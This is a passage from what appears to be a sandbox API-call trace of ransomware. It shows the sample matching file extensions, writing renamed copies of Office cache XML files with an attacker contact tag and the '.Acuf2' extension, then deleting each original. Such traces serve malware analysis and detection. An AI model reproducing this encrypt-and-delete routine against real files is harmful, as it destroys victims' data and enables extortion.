	[0038.036] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.036] lstrlenW (lpString=".xlsx") returned 5
	[0038.036] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.036] lstrlenW (lpString=".ppt") returned 4
	[0038.036] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.036] lstrlenW (lpString=".zip") returned 4
	[0038.036] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.036] lstrlenW (lpString=".rar") returned 4
	[0038.036] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.036] lstrlenW (lpString=".bz2") returned 4
	[0038.036] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.036] lstrlenW (lpString=".7z") returned 3
	[0038.036] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.036] lstrlenW (lpString=".dbf") returned 4
	[0038.037] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.037] lstrlenW (lpString=".1cd") returned 4
	[0038.037] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.037] lstrlenW (lpString=".jpg") returned 4
	[0038.037] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.037] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.037] lstrlenW (lpString="OutlookMUI.xml") returned 14
	[0038.037] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.038] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=3186) returned 1
	[0038.038] CloseHandle (hObject=0x178) returned 1
	[0038.038] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020
	[0038.038] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.038] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.038] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.038] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.038] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0038.039] GetLastError () returned 0x0
	[0038.039] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0xc72, lpOverlapped=0x0) returned 1
	[0038.219] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xc80, lpOverlapped=0x0) returned 1
	[0038.220] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.220] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0038.220] SetEndOfFile (hFile=0x17c) returned 1
	[0038.220] CloseHandle (hObject=0x17c) returned 1
	[0038.221] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.221] SetEndOfFile (hFile=0x178) returned 1
	[0038.222] CloseHandle (hObject=0x178) returned 1
	[0038.222] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.222] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1
	[0038.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0038.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0038.222] lstrlenW (lpString=".doc") returned 4
	[0038.222] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.222] lstrlenW (lpString=".docx") returned 5
	[0038.222] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.222] lstrlenW (lpString=".pdf") returned 4
	[0038.222] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.222] lstrlenW (lpString=".xls") returned 4
	[0038.222] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.222] lstrlenW (lpString=".xlsx") returned 5
	[0038.222] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.222] lstrlenW (lpString=".ppt") returned 4
	[0038.222] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0038.223] lstrlenW (lpString=".zip") returned 4
	[0038.223] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.223] lstrlenW (lpString=".rar") returned 4
	[0038.223] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.223] lstrlenW (lpString=".bz2") returned 4
	[0038.223] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.223] lstrlenW (lpString=".7z") returned 3
	[0038.223] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0038.223] lstrlenW (lpString=".dbf") returned 4
	[0038.223] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0038.223] lstrlenW (lpString=".1cd") returned 4
	[0038.223] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0038.223] lstrlenW (lpString=".jpg") returned 4
	[0038.223] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0038.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0038.223] lstrlenW (lpString=".doc") returned 4
	[0038.223] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.223] lstrlenW (lpString=".docx") returned 5
	[0038.223] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.223] lstrlenW (lpString=".pdf") returned 4
	[0038.223] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.223] lstrlenW (lpString=".xls") returned 4
	[0038.223] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.223] lstrlenW (lpString=".xlsx") returned 5
	[0038.223] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.223] lstrlenW (lpString=".ppt") returned 4
	[0038.224] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0038.224] lstrlenW (lpString=".zip") returned 4
	[0038.224] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.224] lstrlenW (lpString=".rar") returned 4
	[0038.224] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.224] lstrlenW (lpString=".bz2") returned 4
	[0038.224] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.224] lstrlenW (lpString=".7z") returned 3
	[0038.224] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0038.224] lstrlenW (lpString=".dbf") returned 4
	[0038.224] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0038.224] lstrlenW (lpString=".1cd") returned 4
	[0038.224] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0038.224] lstrlenW (lpString=".jpg") returned 4
	[0038.224] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.224] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.224] lstrlenW (lpString="WordMUI.xml") returned 11
	[0038.224] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.225] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1800) returned 1
	[0038.225] CloseHandle (hObject=0x178) returned 1
	[0038.225] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020
	[0038.225] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.225] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.225] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.225] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.225] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0038.225] GetLastError () returned 0x0
	[0038.225] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x708, lpOverlapped=0x0) returned 1
	[0038.227] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x710, lpOverlapped=0x0) returned 1
	[0038.228] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.228] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0038.228] SetEndOfFile (hFile=0x17c) returned 1
	[0038.228] CloseHandle (hObject=0x17c) returned 1
	[0038.229] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.229] SetEndOfFile (hFile=0x178) returned 1
	[0038.230] CloseHandle (hObject=0x178) returned 1
	[0038.230] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.230] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1
	[0038.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0038.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0038.230] lstrlenW (lpString=".doc") returned 4
	[0038.230] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.230] lstrlenW (lpString=".docx") returned 5
	[0038.230] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.230] lstrlenW (lpString=".pdf") returned 4
	[0038.230] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.230] lstrlenW (lpString=".xls") returned 4
	[0038.230] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.230] lstrlenW (lpString=".xlsx") returned 5
	[0038.230] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.230] lstrlenW (lpString=".ppt") returned 4
	[0038.231] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0038.231] lstrlenW (lpString=".zip") returned 4
	[0038.231] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.231] lstrlenW (lpString=".rar") returned 4
	[0038.231] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.231] lstrlenW (lpString=".bz2") returned 4
	[0038.231] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.231] lstrlenW (lpString=".7z") returned 3
	[0038.231] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0038.231] lstrlenW (lpString=".dbf") returned 4
	[0038.231] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0038.231] lstrlenW (lpString=".1cd") returned 4
	[0038.231] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0038.231] lstrlenW (lpString=".jpg") returned 4
	[0038.231] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0038.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0038.231] lstrlenW (lpString=".doc") returned 4
	[0038.231] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.231] lstrlenW (lpString=".docx") returned 5
	[0038.231] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.231] lstrlenW (lpString=".pdf") returned 4
	[0038.231] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.231] lstrlenW (lpString=".xls") returned 4
	[0038.231] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.231] lstrlenW (lpString=".xlsx") returned 5
	[0038.232] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.232] lstrlenW (lpString=".ppt") returned 4
	[0038.232] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0038.232] lstrlenW (lpString=".zip") returned 4
	[0038.232] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.232] lstrlenW (lpString=".rar") returned 4
	[0038.232] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.232] lstrlenW (lpString=".bz2") returned 4
	[0038.232] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.232] lstrlenW (lpString=".7z") returned 3
	[0038.232] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0038.232] lstrlenW (lpString=".dbf") returned 4
	[0038.232] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0038.232] lstrlenW (lpString=".1cd") returned 4
	[0038.232] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0038.232] lstrlenW (lpString=".jpg") returned 4
	[0038.232] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.232] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.232] lstrlenW (lpString="Proof.xml") returned 9
	[0038.232] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.233] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1347) returned 1
	[0038.233] CloseHandle (hObject=0x178) returned 1
	[0038.233] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020
	[0038.233] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.233] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.234] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.234] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.234] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0038.234] GetLastError () returned 0x0
	[0038.234] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x543, lpOverlapped=0x0) returned 1
	[0038.236] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x550, lpOverlapped=0x0) returned 1
	[0038.237] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.237] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0038.237] SetEndOfFile (hFile=0x17c) returned 1
	[0038.237] CloseHandle (hObject=0x17c) returned 1
	[0038.238] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.238] SetEndOfFile (hFile=0x178) returned 1
	[0038.238] CloseHandle (hObject=0x178) returned 1
	[0038.239] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.239] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1
	[0038.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0038.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0038.239] lstrlenW (lpString=".doc") returned 4
	[0038.239] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.239] lstrlenW (lpString=".docx") returned 5
	[0038.239] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1
	[0038.239] lstrlenW (lpString=".pdf") returned 4
	[0038.239] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.239] lstrlenW (lpString=".xls") returned 4
	[0038.239] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.239] lstrlenW (lpString=".xlsx") returned 5
	[0038.239] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1
	[0038.239] lstrlenW (lpString=".ppt") returned 4
	[0038.239] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0038.239] lstrlenW (lpString=".zip") returned 4
	[0038.240] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.240] lstrlenW (lpString=".rar") returned 4
	[0038.240] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.240] lstrlenW (lpString=".bz2") returned 4
	[0038.240] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.240] lstrlenW (lpString=".7z") returned 3
	[0038.240] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0038.240] lstrlenW (lpString=".dbf") returned 4
	[0038.240] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
